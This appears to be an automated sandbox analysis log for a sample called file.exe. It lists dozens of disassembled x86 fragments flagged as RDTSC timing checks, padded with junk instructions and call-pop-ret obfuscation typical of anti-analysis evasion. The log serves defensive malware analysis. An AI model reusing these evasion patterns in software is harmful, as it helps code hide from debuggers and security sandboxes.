Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FD710 second address: 10FD72B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6B878EDADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jp 00007FD6B878EDAEh 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FE6B2 second address: 10FE6C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6B8875BCDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FE6C9 second address: 10FE6CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FD88D second address: 10FD90B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007FD6B8875BCCh 0x0000000c popad 0x0000000d nop 0x0000000e mov dword ptr [ebp+1246C583h], ecx 0x00000014 push dword ptr fs:[00000000h] 0x0000001b mov bx, di 0x0000001e mov dword ptr [ebp+122D1A7Eh], edi 0x00000024 mov dword ptr fs:[00000000h], esp 0x0000002b push 00000000h 0x0000002d push esi 0x0000002e call 00007FD6B8875BC8h 0x00000033 pop esi 0x00000034 mov dword ptr [esp+04h], esi 0x00000038 add dword ptr [esp+04h], 00000018h 0x00000040 inc esi 0x00000041 push esi 0x00000042 ret 0x00000043 pop esi 0x00000044 ret 0x00000045 mov eax, dword ptr [ebp+122D093Dh] 0x0000004b push FFFFFFFFh 0x0000004d push 00000000h 0x0000004f push ebp 0x00000050 call 00007FD6B8875BC8h 0x00000055 pop ebp 0x00000056 mov dword ptr [esp+04h], ebp 0x0000005a add dword ptr [esp+04h], 00000015h 0x00000062 inc ebp 0x00000063 push ebp 0x00000064 ret 0x00000065 pop ebp 0x00000066 ret 0x00000067 mov ebx, eax 0x00000069 push eax 0x0000006a push eax 0x0000006b push edx 0x0000006c push eax 0x0000006d push eax 0x0000006e push edx 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FD90B second address: 10FD910 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FD910 second address: 10FD915 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF532 second address: 10FF55E instructions: 0x00000000 rdtsc 0x00000002 jno 00007FD6B878EDACh 0x00000008 jc 00007FD6B878EDA6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edi 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FD6B878EDB8h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF55E second address: 10FF562 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF562 second address: 10FF5E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edi 0x0000000b call 00007FD6B878EDA8h 0x00000010 pop edi 0x00000011 mov dword ptr [esp+04h], edi 0x00000015 add dword ptr [esp+04h], 00000018h 0x0000001d inc edi 0x0000001e push edi 0x0000001f ret 0x00000020 pop edi 0x00000021 ret 0x00000022 mov edi, dword ptr [ebp+122D2DFFh] 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push ebx 0x0000002d call 00007FD6B878EDA8h 0x00000032 pop ebx 0x00000033 mov dword ptr [esp+04h], ebx 0x00000037 add dword ptr [esp+04h], 0000001Ch 0x0000003f inc ebx 0x00000040 push ebx 0x00000041 ret 0x00000042 pop ebx 0x00000043 ret 0x00000044 push 00000000h 0x00000046 mov dword ptr [ebp+122DB102h], eax 0x0000004c xchg eax, esi 0x0000004d pushad 0x0000004e push ecx 0x0000004f push edx 0x00000050 pop edx 0x00000051 pop ecx 0x00000052 jnc 00007FD6B878EDA8h 0x00000058 popad 0x00000059 push eax 0x0000005a pushad 0x0000005b jmp 00007FD6B878EDAFh 0x00000060 push eax 0x00000061 push edx 0x00000062 pushad 0x00000063 popad 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1100516 second address: 1100533 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FD6B8875BD4h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1100533 second address: 1100548 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD6B878EDA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jng 00007FD6B878EDA6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1100548 second address: 110054C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110054C second address: 11005F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnc 00007FD6B878EDA6h 0x0000000d jmp 00007FD6B878EDAAh 0x00000012 popad 0x00000013 popad 0x00000014 nop 0x00000015 call 00007FD6B878EDADh 0x0000001a mov edi, edx 0x0000001c pop ebx 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 push esi 0x00000022 call 00007FD6B878EDA8h 0x00000027 pop esi 0x00000028 mov dword ptr [esp+04h], esi 0x0000002c add dword ptr [esp+04h], 00000016h 0x00000034 inc esi 0x00000035 push esi 0x00000036 ret 0x00000037 pop esi 0x00000038 ret 0x00000039 call 00007FD6B878EDB2h 0x0000003e push edx 0x0000003f movsx ebx, di 0x00000042 pop edi 0x00000043 pop ebx 0x00000044 mov dword ptr [ebp+122D22F3h], edi 0x0000004a push 00000000h 0x0000004c call 00007FD6B878EDAFh 0x00000051 mov ebx, dword ptr [ebp+122D19BCh] 0x00000057 pop edi 0x00000058 xchg eax, esi 0x00000059 push edi 0x0000005a jmp 00007FD6B878EDB6h 0x0000005f pop edi 0x00000060 push eax 0x00000061 push eax 0x00000062 push edx 0x00000063 push ecx 0x00000064 jnl 00007FD6B878EDA6h 0x0000006a pop ecx 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF80A second address: 10FF80E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1100855 second address: 110088B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6B878EDB4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b pushad 0x0000000c jmp 00007FD6B878EDB9h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1102748 second address: 110274C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11035E3 second address: 1103655 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edx 0x00000007 pop edx 0x00000008 jmp 00007FD6B878EDB3h 0x0000000d popad 0x0000000e popad 0x0000000f nop 0x00000010 movzx ebx, di 0x00000013 push 00000000h 0x00000015 mov edi, dword ptr [ebp+122D2936h] 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push edx 0x00000020 call 00007FD6B878EDA8h 0x00000025 pop edx 0x00000026 mov dword ptr [esp+04h], edx 0x0000002a add dword ptr [esp+04h], 0000001Bh 0x00000032 inc edx 0x00000033 push edx 0x00000034 ret 0x00000035 pop edx 0x00000036 ret 0x00000037 mov ebx, dword ptr [ebp+122D2936h] 0x0000003d xchg eax, esi 0x0000003e push ecx 0x0000003f push eax 0x00000040 pushad 0x00000041 popad 0x00000042 pop eax 0x00000043 pop ecx 0x00000044 push eax 0x00000045 push eax 0x00000046 push edx 0x00000047 js 00007FD6B878EDB4h 0x0000004d jmp 00007FD6B878EDAEh 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11068AA second address: 11068FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d clc 0x0000000e mov dword ptr [ebp+122D19CAh], esi 0x00000014 push 00000000h 0x00000016 jmp 00007FD6B8875BD2h 0x0000001b xchg eax, esi 0x0000001c jmp 00007FD6B8875BD1h 0x00000021 push eax 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007FD6B8875BD6h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1108DB3 second address: 1108DBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11048B0 second address: 11048BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1105968 second address: 110596E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110B373 second address: 110B37F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110B37F second address: 110B383 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110B383 second address: 110B3CF instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD6B8875BC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push edx 0x0000000c pop edx 0x0000000d pop esi 0x0000000e popad 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push ebp 0x00000013 call 00007FD6B8875BC8h 0x00000018 pop ebp 0x00000019 mov dword ptr [esp+04h], ebp 0x0000001d add dword ptr [esp+04h], 00000016h 0x00000025 inc ebp 0x00000026 push ebp 0x00000027 ret 0x00000028 pop ebp 0x00000029 ret 0x0000002a push 00000000h 0x0000002c mov bx, dx 0x0000002f push 00000000h 0x00000031 jmp 00007FD6B8875BCEh 0x00000036 push eax 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a push ecx 0x0000003b pop ecx 0x0000003c pushad 0x0000003d popad 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110C340 second address: 110C3A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 mov dword ptr [esp], eax 0x00000008 push 00000000h 0x0000000a push ebp 0x0000000b call 00007FD6B878EDA8h 0x00000010 pop ebp 0x00000011 mov dword ptr [esp+04h], ebp 0x00000015 add dword ptr [esp+04h], 00000018h 0x0000001d inc ebp 0x0000001e push ebp 0x0000001f ret 0x00000020 pop ebp 0x00000021 ret 0x00000022 push 00000000h 0x00000024 jmp 00007FD6B878EDABh 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push esi 0x0000002e call 00007FD6B878EDA8h 0x00000033 pop esi 0x00000034 mov dword ptr [esp+04h], esi 0x00000038 add dword ptr [esp+04h], 00000018h 0x00000040 inc esi 0x00000041 push esi 0x00000042 ret 0x00000043 pop esi 0x00000044 ret 0x00000045 xchg eax, esi 0x00000046 push eax 0x00000047 push edx 0x00000048 jne 00007FD6B878EDA8h 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110C3A2 second address: 110C3A7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1114A4E second address: 1114A52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1121758 second address: 1121766 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FD6B8875BC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1121766 second address: 112176A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1121907 second address: 112190B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112190B second address: 1121913 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1121A36 second address: 1121A4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD6B8875BD2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1121BC1 second address: 1121BD1 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FD6B878EDA8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109EBBB second address: 109EBF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jc 00007FD6B8875BC6h 0x00000009 jmp 00007FD6B8875BD6h 0x0000000e pop eax 0x0000000f jmp 00007FD6B8875BCBh 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push esi 0x00000019 push edi 0x0000001a pop edi 0x0000001b pushad 0x0000001c popad 0x0000001d pop esi 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112FC31 second address: 112FC3C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jg 00007FD6B878EDA6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112EDDA second address: 112EDED instructions: 0x00000000 rdtsc 0x00000002 je 00007FD6B8875BC6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112EDED second address: 112EDF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112F221 second address: 112F241 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6B8875BD6h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112F39C second address: 112F3A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112F3A2 second address: 112F3B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 je 00007FD6B8875BC6h 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112F65C second address: 112F660 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D12FA second address: 10D1312 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop ecx 0x00000007 pushad 0x00000008 jmp 00007FD6B8875BCEh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112E3A4 second address: 112E3BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FD6B878EDB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11356F1 second address: 1135707 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FD6B8875BD1h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110C4C3 second address: 110C4D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jp 00007FD6B878EDB0h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110C4D5 second address: 110C588 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 mov di, ax 0x0000000a push dword ptr fs:[00000000h] 0x00000011 mov dword ptr fs:[00000000h], esp 0x00000018 mov eax, dword ptr [ebp+122D1485h] 0x0000001e push 00000000h 0x00000020 push ecx 0x00000021 call 00007FD6B8875BC8h 0x00000026 pop ecx 0x00000027 mov dword ptr [esp+04h], ecx 0x0000002b add dword ptr [esp+04h], 0000001Bh 0x00000033 inc ecx 0x00000034 push ecx 0x00000035 ret 0x00000036 pop ecx 0x00000037 ret 0x00000038 or bx, BB8Eh 0x0000003d jmp 00007FD6B8875BCAh 0x00000042 push FFFFFFFFh 0x00000044 push 00000000h 0x00000046 push edx 0x00000047 call 00007FD6B8875BC8h 0x0000004c pop edx 0x0000004d mov dword ptr [esp+04h], edx 0x00000051 add dword ptr [esp+04h], 00000014h 0x00000059 inc edx 0x0000005a push edx 0x0000005b ret 0x0000005c pop edx 0x0000005d ret 0x0000005e call 00007FD6B8875BD9h 0x00000063 add dword ptr [ebp+122D2F8Fh], edx 0x00000069 pop ebx 0x0000006a nop 0x0000006b jp 00007FD6B8875BDDh 0x00000071 jmp 00007FD6B8875BD7h 0x00000076 push eax 0x00000077 push eax 0x00000078 push edx 0x00000079 push eax 0x0000007a push edx 0x0000007b push eax 0x0000007c push edx 0x0000007d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110C588 second address: 110C58C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110C58C second address: 110C592 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110C592 second address: 110C598 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11347AE second address: 11347B3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1134B96 second address: 1134B9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1134B9C second address: 1134BA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1134BA2 second address: 1134BD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 jmp 00007FD6B878EDB1h 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 push edi 0x00000012 pop edi 0x00000013 popad 0x00000014 popad 0x00000015 pushad 0x00000016 jl 00007FD6B878EDAEh 0x0000001c jg 00007FD6B878EDA6h 0x00000022 pushad 0x00000023 popad 0x00000024 push eax 0x00000025 push edx 0x00000026 push esi 0x00000027 pop esi 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1134BD8 second address: 1134BDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1134BDC second address: 1134BE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1134BE0 second address: 1134BE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1134E62 second address: 1134E7C instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FD6B878EDB2h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1138BD1 second address: 1138BD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EB9E3 second address: 10D079F instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD6B878EDACh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov dh, 43h 0x0000000f call dword ptr [ebp+122D1C89h] 0x00000015 push eax 0x00000016 push edx 0x00000017 jg 00007FD6B878EDACh 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EC018 second address: 10EC01E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EC01E second address: 10EC022 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EC08D second address: 10EC092 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EC092 second address: 10EC0AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007FD6B878EDB0h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EC0AC second address: 10EC0E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jmp 00007FD6B8875BD5h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, esi 0x0000000e mov ecx, dword ptr [ebp+122D3786h] 0x00000014 nop 0x00000015 pushad 0x00000016 jc 00007FD6B8875BC8h 0x0000001c pushad 0x0000001d popad 0x0000001e jp 00007FD6B8875BC8h 0x00000024 pushad 0x00000025 popad 0x00000026 popad 0x00000027 push eax 0x00000028 pushad 0x00000029 pushad 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EC0E8 second address: 10EC109 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD6B878EDB9h 0x00000009 popad 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EC19C second address: 10EC1A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EC1A2 second address: 10EC1D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 jng 00007FD6B878EDA8h 0x0000000e push edi 0x0000000f pop edi 0x00000010 jnp 00007FD6B878EDBBh 0x00000016 popad 0x00000017 mov eax, dword ptr [esp+04h] 0x0000001b pushad 0x0000001c pushad 0x0000001d pushad 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EC1D8 second address: 10EC1EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b popad 0x0000000c mov eax, dword ptr [eax] 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EC400 second address: 10EC406 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EC406 second address: 10EC44B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 xor dword ptr [ebp+122D1870h], esi 0x0000000f push 00000004h 0x00000011 mov dword ptr [ebp+122D2E21h], edx 0x00000017 nop 0x00000018 push esi 0x00000019 pushad 0x0000001a jmp 00007FD6B8875BD7h 0x0000001f pushad 0x00000020 popad 0x00000021 popad 0x00000022 pop esi 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007FD6B8875BCDh 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EC44B second address: 10EC45D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD6B878EDAEh 0x00000009 rdtsc
